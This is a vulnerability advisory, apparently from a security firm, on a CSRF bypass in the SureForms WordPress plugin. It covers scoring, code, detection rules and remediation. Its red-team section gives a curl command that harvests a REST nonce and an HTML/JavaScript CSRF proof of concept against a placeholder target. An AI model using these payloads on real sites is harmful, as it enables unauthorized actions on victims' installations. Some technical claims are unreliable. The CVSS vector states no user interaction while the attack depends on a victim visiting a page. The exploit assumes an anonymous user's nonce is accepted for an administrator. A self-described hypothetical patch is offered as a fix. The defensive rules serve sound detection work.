CVE-2025-12535

Executive Summary

CVE-2025-12535 is a Cross-Site Request Forgery (CSRF) bypass vulnerability affecting the SureForms WordPress plugin, versions up to and including 1.13.1. The plugin incorrectly distributes generic WordPress REST API nonces (wp_rest) to unauthenticated users via the wp_ajax_nopriv_rest-nonce AJAX action. While the plugin legitimately needs to support unauthenticated form submissions, it uses a single, reusable REST nonce instead of form-specific nonces. This allows an unauthenticated attacker to craft a malicious request that, when triggered by a logged-in administrator, can bypass CSRF protection on any REST API endpoint that relies solely on nonce verification without additional authentication checks. The impact includes unauthorized triggering of the plugin’s own post-submission hooks and potentially other plugins’ REST endpoints, leading to data manipulation or privilege escalation.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files by comparing checksums with the repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

CVSS Score: 5.3 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): None – The attack does not require user interaction beyond the victim being logged in.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – The attacker can trigger unauthorized actions, but cannot modify arbitrary data.
• Availability (A): None – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires a logged-in administrator to trigger the crafted request. The impact is limited to unauthorized actions on REST endpoints that lack additional authentication.

Deep Dive & Mechanics

The vulnerability stems from the SureForms plugin’s AJAX handler wp_ajax_nopriv_rest-nonce. This handler is intended to provide a REST API nonce to unauthenticated users so they can submit forms. However, instead of generating a form-specific nonce, it returns the generic WordPress REST API nonce (wp_rest). This nonce is valid for any REST API endpoint that uses nonce verification.

Attack Flow:

1. An unauthenticated attacker sends a request to wp-admin/admin-ajax.php?action=rest-nonce and receives a valid wp_rest nonce.
2. The attacker crafts a malicious HTML page or email that, when viewed by a logged-in WordPress administrator, sends a cross-origin request to a vulnerable REST endpoint (e.g., /wp-json/sureforms/v1/submit or another plugin’s endpoint).
3. The request includes the stolen nonce in the X-WP-Nonce header.
4. The server verifies the nonce and processes the request, triggering unauthorized actions.

Root Cause: The plugin uses wp_create_nonce('wp_rest') instead of a custom nonce tied to a specific form or action. This makes the nonce reusable and predictable.

Vulnerable vs. Patched Code

Vulnerable Code (SureForms <= 1.13.1):

add_action('wp_ajax_nopriv_rest-nonce', 'sureforms_rest_nonce');
function sureforms_rest_nonce() {
    echo wp_create_nonce('wp_rest');
    wp_die();
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_nopriv_rest-nonce', 'sureforms_rest_nonce');
function sureforms_rest_nonce() {
    // Generate a form-specific nonce
    $form_id = isset($_POST['form_id']) ? intval($_POST['form_id']) : 0;
    if ($form_id > 0) {
        echo wp_create_nonce('sureforms_submit_' . $form_id);
    } else {
        echo '';
    }
    wp_die();
}

The patched version ties the nonce to a specific form ID, preventing reuse across different forms or endpoints.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with SureForms <= 1.13.1 installed and activated.
• A logged-in administrator (victim) who will trigger the crafted request.

Step 1: Obtain the REST nonce

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=rest-nonce"

Response: 1234567890abcdef (example nonce)

Step 2: Craft a malicious HTML page

<html>
<body>
<form action="http://target.com/wp-json/sureforms/v1/submit" method="POST" id="csrf-form">
  <input type="hidden" name="form_id" value="1">
  <input type="hidden" name="data" value="malicious">
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "http://target.com/wp-json/sureforms/v1/submit", true);
  xhr.setRequestHeader("X-WP-Nonce", "1234567890abcdef");
  xhr.setRequestHeader("Content-Type", "application/json");
  xhr.send(JSON.stringify({form_id: 1, data: "malicious"}));
</script>
</body>
</html>

Step 3: Deliver the page to the victim (e.g., via email or social engineering). When the victim visits the page while logged into WordPress, the request is sent with the valid nonce, triggering the unauthorized action.

Blue Team (Detection & Prevention)

Detection:

• Monitor for multiple requests to wp-admin/admin-ajax.php?action=rest-nonce from the same IP in a short period.
• Alert on REST API requests with X-WP-Nonce header where the nonce value appears in multiple requests from different origins.

Prevention:

• Apply the patch as soon as it becomes available.
• Use a Web Application Firewall (WAF) to block requests to admin-ajax.php with action=rest-nonce from untrusted origins.
• Implement additional authentication checks on REST endpoints (e.g., verify user capabilities).

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-admin/admin-ajax.php with action=rest-nonce parameter.
  • REST API requests with X-WP-Nonce header containing a nonce that was previously obtained via the above AJAX action.
• File:
  • Presence of the vulnerable AJAX handler in /wp-content/plugins/sureforms/includes/class-ajax.php or similar.
• Log:
  • Repeated admin-ajax.php calls from the same IP without a valid session cookie.

Detection Engineering

YARA Rule

rule CVE_2025_12535_SureForms_CSRF_Bypass {
    meta:
        description = "Detects vulnerable SureForms plugin code distributing generic REST nonces"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-12535"
    strings:
        $ajax_action = "wp_ajax_nopriv_rest-nonce"
        $nonce_func = "wp_create_nonce('wp_rest')"
    condition:
        $ajax_action and $nonce_func
}

Sigma Rule

title: CVE-2025-12535 SureForms CSRF Bypass Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-12535 by monitoring for REST nonce requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=rest-nonce'
    condition: selection
falsepositives:
    - Legitimate form submissions by unauthenticated users
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-12535 SureForms CSRF Bypass - REST Nonce Request";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=rest-nonce"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential until a patch is released.
2. Implement a WAF rule to block requests to admin-ajax.php with action=rest-nonce from external origins.
3. Monitor logs for suspicious REST API activity.

Long-Term Fix:

• The vendor should release a patched version that uses form-specific nonces. In the meantime, users can apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.

Workaround:

• Add the following code to the theme’s functions.php to override the vulnerable AJAX handler:

remove_action('wp_ajax_nopriv_rest-nonce', 'sureforms_rest_nonce');
add_action('wp_ajax_nopriv_rest-nonce', function() {
    $form_id = isset($_POST['form_id']) ? intval($_POST['form_id']) : 0;
    if ($form_id > 0) {
        echo wp_create_nonce('sureforms_submit_' . $form_id);
    }
    wp_die();
});

Valters IT
Securing Digital Frontiers